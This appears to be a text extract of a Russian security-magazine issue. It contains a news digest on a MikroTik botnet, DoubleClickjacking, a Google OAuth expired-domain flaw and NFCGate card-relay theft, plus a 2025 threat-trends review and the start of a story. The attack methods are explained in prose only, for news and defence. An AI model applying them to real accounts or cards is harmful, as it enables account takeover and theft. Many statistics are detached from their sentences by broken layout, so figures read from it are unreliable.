доменов и  IP-адреса SMTP-серверов. Тогда‑то и стало ясно, что мы
раскрыли огромную сеть из 13 тысяч зараженных устройств MikroTik,
являющихся частью крупного ботнета», — объясняют в Infoblox.

Эксперты выяснили, что DNS-записи SPF для  примерно  20  тысяч доменов
были настроены с опцией +all, которая позволяла любому серверу отправлять
письма от их имени.

«
»

«Фактически это делает SPF-запись бесполезной, ведь такая настрой-
ка открывает дорогу спуфингу и  массовой рассылке несанкциони-
рованных писем»,  — пишут специалисты, отмечая, что безопаснее
использовать опцию -all, которая разрешает отправку только с  кон-
кретных серверов.

Схема атаки

Точный способ заражения устройств пока остается неясен, но  специалисты
подчеркнули, что в ботнет входят устройства с разными версиями прошивок,
включая самые свежие.

Ботнет использует зараженные устройства в  качестве SOCKS4-прокси
для  проведения DDoS-атак, рассылки фишинговых писем, извлечения дан‐
ных, а также для маскировки вредоносного трафика.

«
»

«Хотя в  ботнет входят всего  13  тысяч устройств, использование их
в  качестве SOCKS-прокси позволяет десяткам и  даже сотням тысяч
скомпрометированных машин использовать их для доступа к сети, что
значительно увеличивает потенциальный масштаб операций этого
ботнета», — предупреждают в Infoblox.

В ГОСДУМЕ СЧИТАЮТ GMAIL ОПАСНЫМ
Член комитета Госдумы по информполитике Антон Немкин заявил, что почтовый сервис Gmail
может быть небезопасен для хранения на нем конфиденциальной информации, и призвал рос‐
сийских пользователей переходить на  отечественные аналоги, поскольку неизвестно, какие
антироссийские шаги зарубежные сервисы предпримут в дальнейшем.

→ «Многие по‑прежнему хранят там (в Gmail) важные данные, несмотря
на проблемы со входом и двухфакторной аутентификацией, которые уже сейчас
фиксируются в  России. Это  по факту развязывает руки мошенникам и  делает
Gmail крайне небезопасным для хранения любой конфиденциальной информа‐
ции.

Политика Google, которой он придерживается последние годы, планомерно
ведет к тому, что количество сбоев в работе ИТ‑гиганта в России будет расти —
по  его же инициативе. Также будет расти и  количество проблем с  безопас‐
ностью, вплоть до  невозможности использовать сервисы, к  которым успели
привыкнуть пользователи», — заявил Немкин.

IDENTITY CHECK
Google анонсировала новую защитную функцию «Проверка личности» (Identity
Check) для  Android, которая защитит важные настройки устройства
с  помощью биометрической аутентификации, если пользователь находится
вне доверенного места.

Новая функция входит в комплекс мер по защите от краж, наряду с пред‐
ставленной в прошлом году , которая теперь распростра‐
няется на все новые модели Android-устройств.

Theft Detection Lock

Identity Check тоже призвана усилить защиту от  краж и  будет требовать
биометрической аутентификации для доступа к критически важным настрой‐
кам аккаунта и устройства, когда устройство находится вне доверенных мест.

Защита Identity Check будет распространяться на самые разные действия,
включая:

сброс настроек до заводских;•
изменение биометрических данных (таких как  отпечаток пальца или  раз‐
блокировка по лицу);

•

отключение функции Find My Device;•
добавление или удаление аккаунта Google;•
доступ к опциям для разработчиков;•
автозаполнение паролей в  приложениях из  Google Password Manager (за
исключением Chrome);

•

изменение PIN-кода, графического ключа или пароля блокировки экрана;•
отключение функций защиты от кражи.•

На старте функция Identity Check будет доступна только пользователям
Google Pixel под управлением Android 15 и Samsung Galaxy под управлением
One UI 7.

Напомним, что функциональность Theft Detection Lock защищает личные
и  конфиденциальные данные пользователей в  случае кражи или  потери
устройства. Автоматическая блокировка экрана работает на  основе ИИ
и  встроенных сенсоров. Она блокирует экран, если обнаруживает резкое
движение, связанное с  попыткой кражи (например, когда вор выхватывает
устройство из рук владельца).

Ранее функция была доступна только на  устройствах Google Pixel,
но  теперь Google распространяет Theft Detection Lock на  все телефоны
под  управлением Android 10  и  более поздних версий. Эта функция может
появиться даже на устройствах, для которых больше не выходят обновления
безопасности.

Также специалисты Google сообщили, что тесно сотрудничают с  GSMA
и  работают над  созданием новых систем для  борьбы с  кражами мобильных
устройств, но  более подробная информация об  этом будет опубликована
позже.

TELEGRAM РАСКРЫВАЕТ ДАННЫЕ
В период с октября по декабрь 2024 года Telegram стал чаще предоставлять правоохранитель‐
ным органам данные о пользователях.

По статистике проекта, который курирует сотрудник Human Rights Watch Этьен Менье (Etienne
Maynier), в этом вопросе с большим отрывом лидирует Индия: в 2024 году Telegram выполнил

 запрос из этой страны и раскрыл правоохранителям данные  пользователей.14 641 23 535

Второе место занимает Германия, где было выполнено  запросов и раскрыты данные 
человек. На  третьем месте  — США, где Telegram выполнил  запросов, которые в  общей
сложности затронули  пользователя.

945 2237
900

2253

Резкий рост раскрытия пользовательских данных связывают с   Павла Дурова (который
был задержан во  Франции в  августе  2024  года). Также вскоре после ареста Дурова у  плат‐
формы  Terms of Service и Privacy Policy.

арестом

изменились
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ДВОЙНОЙ
КЛИКДЖЕКИНГ
Независимый ИБ‑исследователь Паулос Йибело (Paulos Yibelo) рассказал
о  новой разновидности кликджекинга (clickjacking) и  дал этим атакам наз‐
вание DoubleClickjacking. Злоумышленники могут обманом вынудить поль‐
зователей совершить нужные действия с помощью двойных кликов мыши, тем
самым обходя существующую защиту.

Термином clickjacking обычно обозначают ситуации, когда злоумышленни‐
ки создают вредоносные страницы, где обманом вынуждают посетителей
нажимать на  скрытые или  замаскированные элементы. Обычно такие атаки
осуществляются путем наложения на  страницу скрытого iframe, созданного
хакерами. Причем вредоносная страница проектируется таким образом, что‐
бы кнопки и  ссылки скрытого iframe совпадали с  нужными ссылками и  кноп‐
ками целевой страницы.

Обычно злоумышленники завлекают пользователей на  такие сайты,
а затем вынуждают кликнуть по ссылке или кнопке (например, для получения
некой награды или просмотра картинки). Но когда человек нажимает на стра‐
ницу, на  самом деле он нажимает на  ссылки и  кнопки скрытого iframe, что
потенциально может привести к  выполнению вредоносных действий, вклю‐
чая, к примеру, авторизацию OAuth-приложений.

В последние годы разработчики браузеров внедрили ряд защитных фун‐
кций, которые предотвращают большинство подобных атак. Например,
не  позволяют передавать cookie между сайтами или  устанавливают опре‐
деленные ограничения (X-Frame-Options или  frame-ancestors) для  ресурсов,
которые могут содержать iframe.

Однако Йибело рассказал о  новом типе таких атак, где используются
двойные клики. Так, злоумышленник создает сайт, на котором отображается
безобидная на первый взгляд кнопка‑приманка (например, «Нажмите здесь»
для просмотра фильма).

Когда посетитель нажимает на эту кнопку, создается новое окно, которое
закрывает исходную страницу и содержит другую приманку, например просит
решить CAPTCHA для  продолжения. Тем временем JavaScript на  исходной
странице в фоновом режиме изменяет страницу на другой сайт, на котором
пользователь и должен совершить какое‑то действие.

CAPTCHA в  наложенном окне предлагает посетителю дважды кликнуть
на  какой‑либо элемент страницы, чтобы решить задачу. При  этом страница
отслеживает события mousedown и, обнаружив таковое, быстро закрывает
оверлей, в результате чего второй клик уже приходится на кнопку авториза‐
ции или ссылку на ранее скрытой под оверлеем странице.

В итоге пользователь случайно кликает по  кнопке, что может исполь‐
зоваться для  установки плагина, подключения OAuth-приложения к  учетной
записи жертвы или  подтверждения запроса многофакторной аутентифика‐
ции.

Общая схема атаки

Исследователь объясняет, что такие атаки обходят все существующие средс‐
тва защиты от  кликджекинга, поскольку DoubleClickjacking не  использует
iframe и не пытается передать cookie на другой домен. Вместо этого действия
осуществляются непосредственно на легитимных сайтах.

Йибело утверждает, что атака представляет угрозу практически для  всех
сайтов в  интернете, и  прикладывает к  своему отчету демонстрационные 

, в которых DoubleClickjacking применяется для захвата аккаунтов Shopify,
Slack и Salesforce.

ви‐
део

Хуже того, специалист пишет, что атака может использоваться и  против
браузерных расширений.

«
»

«Например, я создал PoC для популярных браузерных криптовалютных
кошельков, и техника DoubleClickjacking используется для авторизации
web3-транзакций и  dApps или  отключения VPN, чтобы раскрыть IP-
адрес,  — объясняет Йибело.  — Это  можно реализовать даже
на мобильных телефонах, попросив жертву тапнуть два раза».

Для защиты от  этого типа атак Йибело предлагает использовать JavaScript,
который можно добавить на страницу для отключения важных кнопок и ссылок
вплоть до  завершения жеста. Это  должно предотвратить автоматическое
нажатие на кнопку авторизации при отключении вредоносного оверлея.

Также исследователь предлагает использовать специальный HTTP-
заголовок, который ограничит или заблокирует быстрое переключение между
окнами во время двойного клика.

ЦЕНА АТАКИ ШИФРОВАЛЬЩИКА
Исследователи Positive Technologies изучили рынок даркнета и  проанализировали цены
на нелегальные услуги и товары, а также затраты злоумышленников на проведение атак.

Самый дорогой тип вредоносного ПО — это  , чья медианная стоимость сос‐
тавляет  долларов США (при этом встречаются предложения и за  долларов).

шифровальщик
7500 320 тысяч

Организация популярного сценария фишинговых атак с использованием шифровальщика обхо‐
дится начинающим киберпреступникам минимум в   долларов США.20 тысяч

Если подготовка к  атаке начинается с  нуля, хакеры арендуют , при‐
обретают  и  другие инструменты, чтобы создать защищенную
и  анонимную управляющую инфраструктуру. Расходы также включают покупку 

 или готового вредоноса по подписке,  для его загрузки в систему
жертвы и маскировки от средств защиты.

выделенные серверы
подписку на  VPN-сервисы

исходного
кода малвари программ

Зато чистая прибыль хакеров от успешной атаки может в среднем в   раз превышать затраты
на ее подготовку.
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ПРОБЛЕМА GOOGLE
OAUTH
Эксперты Trufflesecurity обнаружили проблему в функции Google OAuth «Войти
с  помощью Google». Баг позволяет злоумышленникам, регистрирующим
домены прекративших свое существование компаний, получить доступ к кон‐
фиденциальным данным аккаунтов их бывших сотрудников.

Исходно исследователи уведомили Google об  этой ошибке еще  30  сен‐
тября  2024  года, однако тогда специалисты Google отнесли проблему
к категории «мошенничество и злоупотребления», не согласившись, что уяз‐
вимость связана с OAuth. Только после того как Дилан Эйри (Dylan Ayrey), гла‐
ва и  сооснователь Trufflesecurity, публично рассказал об  этой проблеме
на  ShmooCon в  декабре прошлого года, Google назначила исследователям
вознаграждение в размере 1337 долларов США и повторно открыла тикет.

В настоящее время проблема по‑прежнему остается неисправленной
и пригодной для эксплуатации. Причем представители Google заявили СМИ,
что пользователям просто нужно следовать передовым практикам безопас‐
ности и «надлежащим образом закрывать домены», а люди попросту забыва‐
ют удалять сторонние SaaS-сервисы.

В своем отчете Эйри рассказывает, что «OAuth-логин Google не защищает
от  ситуации, когда кто‑то покупает домен закрывшегося стартапа и  исполь‐
зует его для повторного создания email-аккаунтов бывших сотрудников».

Конечно, само по себе создание email’ов не дает новым владельцам дос‐
туп к  предыдущим сообщениям на  коммуникационных платформах, однако
такие учетные записи можно использовать для повторного входа в такие сер‐
висы, как Slack, Notion, Zoom, ChatGPT.

Для демонстрации такой атаки исследователь приобрел старый домен
и получил доступ к SaaS-платформам, где в итоге нашел конфиденциальные
данные из  HR-систем (налоговые документы, страховую информацию
и номера социального страхования), а также смог войти в различные сервисы
от чужого имени (включая ChatGPT, Slack, Notion, Zoom).

Изучив базу сайта Crunchbase в  поисках уже закрывшихся стартапов
с заброшенными доменами, Эйри обнаружил 116 481 подходящий для таких
атак домен. То есть могут существовать миллионы учетных записей сотрудни‐
ков обанкротившихся компаний, домены которых теперь доступны для покуп‐
ки.

Эксперт объясняет, что в Google OAuth есть , призванный обес‐
печить уникальный и неизменяемый ID для каждого пользователя и служащий
для  идентификации пользователей, невзирая на  возможную смену домена
или адреса электронной почты. Однако обычно коэффициент несоответствия
sub составляет лишь 0,04%, что вынуждает такие сервисы, как Slack и Notion,
полностью игнорировать его и  полагаться исключительно на  claim’ы элек‐
тронной почты и домена.

claim «sub»

Соответственно, claim электронной почты привязан к  email-адресу поль‐
зователя, а  claim домена  — к  владению конкретным доменом. В  итоге оба
могут быть унаследованы новыми владельцами домена, которые могут выдать
себя за бывших сотрудников некой компании на SaaS-платформах.

В качестве решения этой проблемы специалисты предлагают Google внед‐
рить неизменяемые идентификаторы, а именно уникальный и постоянный ID
пользователя и  уникальный ID рабочей среды, привязанный к  конкретной
организации.

SaaS-провайдеры также могут принять дополнительные защитные меры,
например использовать перекрестные проверки для  дат регистрации
доменов, внедрить принудительное одобрение доступа к  учетным записям
на уровне администратора или использовать вторичные факторы для провер‐
ки личностей.

РАБОТА «АНТИФРОДА»
В Роскомнадзоре (РКН) рассказали, что в  2024  году система «Антифрод» проверила около

 вызовов и  предотвратила почти  звонков с  подменных
номеров. За 2023 год система проверила около  вызовов и предотвратила
более  аналогичных звонков.

158  миллиардов 606  миллионов
102,4 миллиарда

756,7 миллиона

По информации РКН, на сегодня к «Антифроду» подключено  телекомоператора, которые
контролируют  номерной емкости. Причем за прошедший 2024 год к системе присоеди‐
нилось более  операторов телефонной связи.

1162
99,6%
600

Как отметили представители «Мегафона», количество звонков с подменой номера стало падать:
в  январе  2024  года было заблокировано  таких звонков, а  в декабре этот
показатель снизился до  .

36  миллионов
6 миллионов

ВОРОВСТВО
ЧЕРЕЗ NFC
Специалисты FACCT предупредили, что Android-малварь, эксплуатирующая
возможности опенсорсного приложения NFCGate и NFC, уже похитила у кли‐
ентов российских банков не  менее  40  миллионов рублей. Исследователи
прогнозируют рост подобных атак на 25–30% ежемесячно.

Напомним, что мы уже не  раз рассказывали ( , ) о  банковском трояне
NGate, который впервые попал в  поле зрения ИБ‑экспертов
осенью 2023 года, когда начали появляться сообщения об атаках на клиентов
крупных чешских банков.

1 2

Малварь NGate представляет собой вредоносную модификацию опенсор‐
сного приложения NFCGate, в  2015  году созданного студентами Дарм‐
штадтского технического университета и предназначенного для отладки про‐
токолов передачи NFC-данных. Приложение поддерживает множество фун‐
кций, но  наибольший интерес для  злоумышленников представляет воз‐
можность захвата NFC-трафика приложений и  передача его на  удаленное
устройство, которым может выступать или  сервер, или  непосредственно
смартфон атакующего.

Как ранее  специалисты компании «Доктор Веб», банкер уже
несколько месяцев атакует российских пользователей. Преступники модифи‐
цировали код NFCGate, добавив к  нему интерфейсы с  айдентикой финан‐
совых организаций, и  включили режим ретрансляции NFC-данных. Кроме
того, в состав приложения включена библиотека nfc-card-reader, которая поз‐
воляет хакерам удаленно получать номер карты и срок ее действия.

объясняли

Как теперь сообщили аналитики FACCT, в  декабре  2024-го и  янва‐
ре 2025 года было зафиксировано не менее 400 атак на клиентов российских
банков, а средняя сумма списания составляла около 100 тысяч рублей.

Атаки на  российских пользователей проходят в  два этапа. Вначале все
выглядит как рядовое телефонное мошенничество. Жертву убеждают в необ‐
ходимости установки специального мобильного приложения под  предлогом
«защиты» банковской карты, взлома личного кабинета «Госуслуг», продления
договора сотовой связи, замены медицинского полиса, оплаты услуг ЖКХ,
требований безопасности, подтверждения личности и так далее.

Внешне такое приложение будет похоже на легитимное приложение банка
или госструктуры, но на самом деле является малварью на основе NFCGate.
Так, специалисты обнаружили более  100  уникальных образцов малвари,
замаскированной под  приложения популярных госсервисов, ЦБ РФ,
Федеральной налоговой службы и так далее. Названия фейковых приложений
призваны вызывать доверие пользователя: «Защита карт ЦБ РФ», «ЦБРе‐
зерв+», «Госуслуги Верификация», «Сертификат Безопасности».

После установки вредоносного приложения на  устройство жертвы зло‐
умышленнику поступает сигнал о  готовности к  обмену данными. Тогда мал‐
варь предлагает жертве пройти верификацию, для которой якобы нужно при‐
ложить банковскую карту к обратной стороне смартфона.

Когда пользователь прикладывает карту к NFC-модулю, данные моментально
передаются на смартфон злоумышленника. В некоторых случаях приложение
также предлагает ввести PIN-код карты, и эта информация тоже отправляется
преступнику.

После этого, если злоумышленник уже находится возле банкомата и  его
смартфон приложен к  NFC-датчику, останется только ввести полученный
от жертвы PIN-код, чтобы похитить средства с карты.

Злоумышленник проводит NFC-транзакцию с помощью NFCGate

Но кража может произойти не  сразу: NFCGate позволяет сохранить данные
банковской карты жертвы и  воспроизвести их позже, например для  токени‐
зации карты и  покупки в  магазине. Если пользователь не  заблокирует карту
после первого инцидента, хакеры могут списывать деньги неоднократно.

Специалисты FACCT рассказывают, что изучили серверную инфраструк‐
туру злоумышленников, позволяющую осуществлять прием и хранение укра‐
денных данных. Также удалось обнаружить серверное ПО, которое позволяет
собирать уникальные вредоносы на основе NFCGate под конкретные атаки.

Исследователи выяснили, что преступники намерены в ближайшее время
добавить малвари новые функции, которые позволят перехватывать SMS
и push-уведомления, поступающие на устройства жертв. Кроме того, похоже,
злоумышленники собираются распространять малварь на  основе NFCGate
по модели Malware-as-a-Service («Вредонос‑как‑услуга»).

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Исследователи перехватили контроль над 4000 бэкдоров

Баг в UEFI Secure Boot делает системы уязвимыми для буткитов

Суд запретил российским телеканалам судиться с Google

Уязвимости позволяли отслеживать все передвижения владельцев Subaru

18 000 скрипт‑кидди заражены бэкдором через билдер XWorm RAT

Фальшивая CAPTCHA в Telegram вынуждает запускать вредоносные скрипты

Cloudflare помогает определить местоположение пользователей

Фальшивый Homebrew заражает стилером машины под управлением macOS и Linux

Краулер OpenAI ChatGPT можно использовать для DDoS-атак

Вредоносная реклама в Google помогает угонять аккаунты Google Ads

https://youtu.be/4rGvRRMrD18
https://developers.google.com/identity/openid-connect/openid-connect#obtainuserinfo
https://xakep.ru/2024/08/23/ngate/
https://xakep.ru/2024/12/27/ngate-russia/
https://xakep.ru/2024/12/27/ngate-russia/
https://xakep.ru/2025/01/10/old-backdoors/
https://xakep.ru/2025/01/17/cve-2024-7344/
https://xakep.ru/2025/01/24/tv-channels-vs-google/
https://xakep.ru/2025/01/28/subaru-problems/
https://xakep.ru/2025/01/24/trojanized-xworm-rat-builder/
https://xakep.ru/2025/01/23/fake-telegram-captcha/
https://xakep.ru/2025/01/22/cloudflare-teleport/
https://xakep.ru/2025/01/22/fake-homebrew/
https://xakep.ru/2025/01/20/chatgpt-user-ddos/
https://xakep.ru/page/2/
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Мир киберугроз быстро меняется, а  за
изменениями следят не только отделы ана‐
литики, но и хакеры. Начало года — самое
время расчехлить наши волшебные шары
и  попробовать заглянуть в  будущее. Давай
возьмем отчеты крупных компаний
за  прошлый год и  посмотрим, как  под‐
меченные тенденции повлияют на  индус‐
трию в 2025-м.

ГЛОБАЛЬНЫЕ ПЕРЕМЕННЫЕ

По  Statista, в  2025  году злоумышленники в  информационном прос‐
транстве обойдутся мировой экономике в 10,3 триллиона долларов США, что
на  11,6% больше, чем в  2024-м. При  этом количество кибератак за  пос‐
ледние два года держится чуть выше  16,5  миллиона в  год, что наводит
на мысль о стабильно растущей стоимости потерь от каждой из них. На этом
фоне  Gartner о росте рынка ИБ на 15% до 212 миллиардов долларов
в  2025  году выглядит вполне логично, бизнес осознаёт потребность
в решениях для борьбы со все возрастающей стоимостью рисков.

данным

прогноз

Большинство аналитиков сходятся на  более‑менее одинаковых глобаль‐
ных трендах ИБ предстоящего года. Среди технологических трендов ,

 и   единодушно выделяют ИИ и советуют присмотреться
к  постквантовой криптографии. Среди векторов атак стабильно лидирует
вредоносное ПО, а на второе место вырвались атаки по дезинформации. Что
до  целей атак, то среди них выделяют сетевые устройства и  IoT-девайсы,
но также косят лиловым глазом в сторону компаний, связанных с web3. Итак,
обо всем по порядку.

Google
Gartner The Economist

№ 1. ИИ-АГЕНТЫ

Все мы уже привыкли к ИИ‑ассистентам вроде ChatGPT и голосовым помощ‐
никам вроде Siri или  Алисы. Возможности современного ИИ действительно
впечатляют, а  простота использования позволяет злоумышленникам при‐
менять их на практике. В 2025 году ИИ станут чаще применять в атаках соци‐
альной инженерии и  при создании дипфейков для  обхода процедур Know
Your Customer (KYC). Не  последнюю роль ИИ сыграет и  на этапе написания
кода, например эксплоитов, а интерес к теме приведет к росту популярности
специализированных форумов в даркнете.

Главным трендом сезона обещают стать ИИ‑агенты, которые не  требуют
вмешательства человека, как, например, автопилот Tesla. Если кто‑то хотел
пошутить про  ИИ, который заменит багхантеров, то не  стоит: такая 
уже есть и  неплохо показала себя на   в  2024  году. Но  джедаям
на  светлой стороне не  стоит отчаиваться, ведь ИИ  — это  игра, в  которую
можно играть вдвоем. В  2025  году технологию обещают внедрить многие
вендоры решений вроде SIEM, SOAR и XDR, что позволит быстрее обнаружи‐
вать атаки, собирать отчеты о событиях и проводить внутренние расследова‐
ния. Меньшее число специалистов сможет справиться с  растущим потоком
алертов.

модель
HackerOne

Ждать вирусов, которые смогут сами развиваться и  адаптироваться
к средствам защиты, пока не стоит. Нынешний ИИ — это всего лишь инстру‐
мент в  руках человека. Большие языковые модели не  принимают решений
и не могут создавать новые сценарии атак.

№ 2. ПОСТКВАНТОВАЯ КРИПТОГРАФИЯ

Второй технологический тренд, за  которым все смотрят в  2025  году,  —
это  постквантовая криптография. И  это не  просто хайп. В  2024  году NIST
утвердил новые  постквантового шифрования, что заставит многие
организации начать пересматривать свои политики. Как   Николай
Сеничев, квантовые атаки пока относятся к  области фантастики, но, так
как переход на новые технологии занимает обычно несколько лет, готовиться
стоит уже сейчас. Хотя Алексей Лукацкий  мнения, что битву
с квантовыми атаками мы уже проиграли, так как зашифрованные данные уже
много лет собираются государствами для  последующего дешифрования.
Какая из  точек зрения верная, мы судить не  возьмемся, но  реализовывать
постквантовое шифрование рано или поздно все равно придется, почему бы
тогда не начать в 2025 году?

стандарты
отмечает

придерживается

№ 3. ВРЕДОНОСНОЕ ПО

Количество атак с  использованием шифровальщиков и  вымогателей
за 2024 год по сравнению с 2023-м выросло вдвое, а их жертвами стали ком‐
пании из  всех индустрий более чем  100  стран мира. Никаких предпосылок
для  снижения активности злоумышленников на  этом направлении нет, тем
более что появляются новые сервисы по  модели подписки Ransomware as
a  Service (RaaS), которые предлагают готовый набор инструментов, тре‐
бующий от покупателя лишь минимальных навыков.

Не менее важно обратить внимание и на инфостилеры, которые останутся
основным инструментом получения учетных данных пользователей
в 2025 году. В последнее время этот класс решений демонстрирует активное
развитие и  пополняется возможностями для  обхода средств защиты,
как  сетевых (например, EDR), так и  системных (например, функции 

 в  Chrome). Единственными эффективными средствами
борьбы с  инфостилерами остаются цифровая гигиена и  двухфакторная
аутентификация.

App-
Bound Encryption

№ 4. АТАКИ ПО ДЕЗИНФОРМАЦИИ

Первое, что приходит в голову при слове «дезинформация», — это, конечно,
боты в  социальных сетях, создающие не  только контент и  активность, но  и
нарративы. Тема информационных операций стала часто пересекаться с тех‐
нологией ИИ, и  сегодня генеративные нейросети фальсифицируют видео
происшествий,  новостные порталы и создают дипфейки.ведут

Помнишь историю с северокорейскими айтишниками, которые 
 на  работу? Такие действия и  атаками‑то назвать язык не  поворачива‐

ется, но  последствия у  подобных забав могут быть печальными  — от  под‐
тасовки политических новостей и  внесения раскола в  общество до  раз‐
рушения репутации и  проникновения во  внутреннюю инфраструктуру ком‐
паний и даже создания цифровых двойников для провокации реального уго‐
ловного преследования человека.

устраива‐
лись

С ростом политической напряженности в 2025 году этот класс атак станет
встречаться чаще, а компании будут активнее внедрять решения для монито‐
ринга репутации бренда — по   Gartner, для 20% из них данная угроза
представляет серьезные риски.

опросам

№ 5. УСТРОЙСТВА IOT И СЕТЕВОЕ ОБОРУДОВАНИЕ

Так уж повелось, что компьютерам достается вся слава, а на героев невиди‐
мого фронта — умные устройства, роутеры и аппаратные средства защиты —
мало кто обращает внимание. Корпоративные системы становятся все круче,
и  злоумышленникам  проникнуть и  закрепиться внутри, что вынуж‐
дает их искать неочевидные векторы.

сложнее

По  Google, у все большего количества вендоров находят zero-day-
уязвимости, их эксплуатация относительно n-day-уязвимостей достигла
невероятной пропорции  70  к  30, а  время (Time to  Exploit) сократилось
с 32 до 5 дней. IoT и сетевые устройства обычно играют ограниченную роль
и  часто не  покрывались EDR, антивирусами или  средствами содействия
в  расследовании инцидентов, и  это делает их захват идеальным вектором
для хакеров.

данным

Поэтому не стоит удивляться новостям о   компаний через маршру‐
тизаторы или   из  роутеров. Вместо этого стоит провести инвента‐
ризацию и защитить все устройства, подключенные к Wi-Fi.

взломе
ботнетам

№ 6. WEB3

В декабре  2024-го кто‑то радовался росту Bitcoin до  100  тысяч долларов,
а  кто‑то уже фантазировал о  новом спорткаре после предстоящего альтсе‐
зона, но для ИБ это значит только одно — повышенное внимание злоумыш‐
ленников к  криптоиндустрии в  2025  году. Последние четыре года 
похищенных средств у web3-компаний стабильно не ниже 1,8 миллиарда дол‐
ларов, а  общее количество инцидентов в  индустрии только растет. Помимо
уже привычных криптомайнеров, взломов бирж и  эксплуатации смарт‑кон‐
трактов, внимание стоит уделить и  традиционным мошенническим схемам.
После вложений в  фиктивные инвестиционные фонды и  переводов
на «безопасные» счета злоумышленники используют крипту для обхода бан‐
ковской системы, что препятствует возврату средств жертвам обмана.

объем

ОТЕЧЕСТВЕННЫЙ ИБ

Глобальные тренды — это, конечно, здорово, но наш обзор был бы неполным
без локальных тенденций, поэтому предлагаю также посмотреть и на россий‐
скую индустрию ИБ.

По данным , в  России за  период с  января по  сен‐
тябрь 2024 года было зафиксировано 569 утечек данных, что на 35% больше,
чем за  весь  2023  год. Число выявленных фишинговых ресурсов выросло
на  116%, а  количество попыток перехода российских пользователей
на  фишинговые и  скам‑страницы  почти в  четыре раза. Рос‐
комнадзор , что число DDoS-атак за  этот же период выросло
на 70%, а самая продолжительная  69,5 часа, что почти в три раза
больше рекорда  2023  года. Но  одной из  ведущих угроз остаются
вирусы‑шифровальщики. Аналитики Positive Technologies , что пред‐
приятия в  России вообще стали полигоном для  отработки навыков ведения
кибервойны. Какого  бы мнения мы ни  придерживались, факт остается фак‐
том — количество и разнообразие инцидентов неуклонно продолжит расти.

Solar AURA

увеличилось
указывает

составила

считают

На фоне очевидной необходимости вкладывать в  развитие инфраструк‐
туры ИБ в организациях наметилась тенденция к сокращению бюджетов бло‐
ков ИТ и ИБ на 2025 год. Повышение ключевой ставки вынудило бизнес тща‐
тельнее расставлять приоритеты, а  недостаточно быстрое развитие продук‐
тов, пригодных для  замещения импорта, заставило перенести планы по  их
закупке на будущие годы.

Уже заметен тренд на запрос продуктов, которые не требуют длительного
внедрения и экспертных команд, но позволяют точно оценить уровень устой‐
чивости инфраструктуры, быстро обнаружить угрозы и решить задачу защиты
здесь и  сейчас. Такая практично‑бюджетная ИБ разительно отличается
от  зарубежных визионерских запросов на  продукты с  ИИ и  защиту от  кван‐
товых атак.

В этом году компании сосредоточатся на  технологиях анализа сетевого
трафика, продолжат внедрять и  настраивать файрволы, средства SAST
и  DAST для  безопасной разработки и  проводить инвентаризацию активов
и анализ рисков.

Не останется без  внимания и  столь популярная концепция нулевого
доверия (zero trust), но тут нет ни отечественных решений, ни, по сути, четкого
понимания того, что конкретно должно скрываться за  этими словами. Инте‐
ресным выглядит  Николая Сеничева о росте спроса на услуги прог‐
рамм багбаунти и этичного хакинга. В целом такое предположение выглядит
очень логичным, ведь для  компаний программы багбаунти дают отличный
результат за небольшую цену.

прогноз

На российском рынке сильно не хватает собственных решений по защите
средств коммуникации, например электронной почты, отечественных мессен‐
джеров и сервисов с качественной аналитикой угроз и путей их устранения.
Также отсутствуют целые классы продуктов, например ITDR для мониторинга
полного жизненного цикла учетной записи и  связанных с  ней нарушений
или XSPM, которая мониторит инфраструктуру в поисках потенциальных уяз‐
вимостей.

Также ощущается острая нехватка аппаратных средств защиты. Пос‐
леднее особенно важно, так как все компоненты целостной системы управле‐
ния ИБ должны в итоге работать на российском железе.

Потенциал для  роста рынка ИБ в  России, как  видим, огромен. По 
 ЦСР, рост рынка в  2024  году должен был составить  24%, в  Positive

Technologies предполагали подъем на 15%, а аналитики МТС  о фак‐
тическом росте на 30%, причем все сходятся на мнении, что текущие темпы
развития сохранятся.

прог‐
нозам

говорят

Так как решения типа SIEM, WAF и защиты от DDoS-атак уже более‑менее
«обыденные», а рынок NGFW сильно перегрет, вероятно, в 2025 году мы уви‐
дим попытки вендоров закрыть нехватку средств защиты. Хотя потенциала
для появления больших игроков на рынке нет, велика вероятность появления
нишевых новичков, в том числе и тех, которые будут внедрять ИИ в средства
защиты и мониторинга.

Предстоящий год обещает быть сложным, но интересным. Хоть на отечес‐
твенном рынке ИБ возможности для развития новых технологий пока слабые,
но есть явный интерес к решению насущных проблем. Все‑таки фокус на ана‐
лизе собственного периметра и активов помогает познать себя и на равных
противостоять злоумышленникам.
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Меня попросили рассказать эту историю очень уважаемые
люди — и я не смог им отказать. Этот мир — мир по ту сто‐
рону экрана  — известен немногим, но  каждый, кто хотя  бы
однажды побывал в нем, знает: ни один сюжет не рождается
здесь вне контекста явлений, происходивших когда‑то
в реальности.

Тем не менее вынужден предупредить: все персонажи этой истории, их име‐
на и  описанные события вымышлены, все совпадения с  действительностью
случайны, все факты лишь плод авторской фантазии, и ничего больше. Автор
решительно осуждает любые нарушения закона, а также употребление алко‐
голя, табака, наркотических веществ и  лекарств без  назначения врача.
В  общем, не  следует забывать, что это  всего лишь выдуманная история,
к которой нужно относиться как к игре воображения. И не более того.

От редакции
Наверняка многие помнят, что в  старые добрые времена в  «Хакере» пуб‐
ликовались художественные рассказы и  даже целые романы, которые
выходили по одной главе. Мы решили возродить эту традицию — и начинаем
публикацию книги нашего ведущего редактора Валентина Холмогорова.

 не  только редактор «Хакера». Он написал
более 45 книг, участвовал в межавторском цикле «Пограничье» Сергея Лукь‐
яненко, а  одна из  книг в  этом цикле была написана в  соавторстве с  ним
самим.

Валентин Холмогоров

Работы Валентина издавались в  «АСТ» и  «Альфа‑Книга» («Армада»)
и  «Олма‑Пресс». Один из  наиболее успешных проектов  — серия «Хроники
Аскета», в  которой Холмогоров участвовал вместе с  писателем‑фантастом
Романом Артемьевым.

— Слышь, пацан, свали на хрен, а то ноги оборву!
Судя по внешнему виду бандюгана, сжимавшего в лапах системник, угрозу

он готов был исполнить без  лишних колебаний. Типичный мелкий уголовник
местного разлива: спортивный костюм, напяленный прямо на  мятую фут‐
болку, небритая рожа и сломанный нос, выдававший не то бывшего боксера,
не то просто любителя помахать кулаками в пьяной драке. Еще один такой же
индивид, похожий на  гоблина из  третьих «Героев», как  раз пытался перех‐
ватить поудобнее тяжеленный ЭЛТ‑монитор  — ему мешал силовой провод,
все время падавший на пол. Вытащить его из гнезда гоблин не догадался.

— Это  мой комп,  — упрямо заявил Кирилл, уже понимая, что судьба
компьютера решена.

— Да мне плевать, — криво ухмыльнулся бандюган. — Сделай так, чтобы
тебя искали!

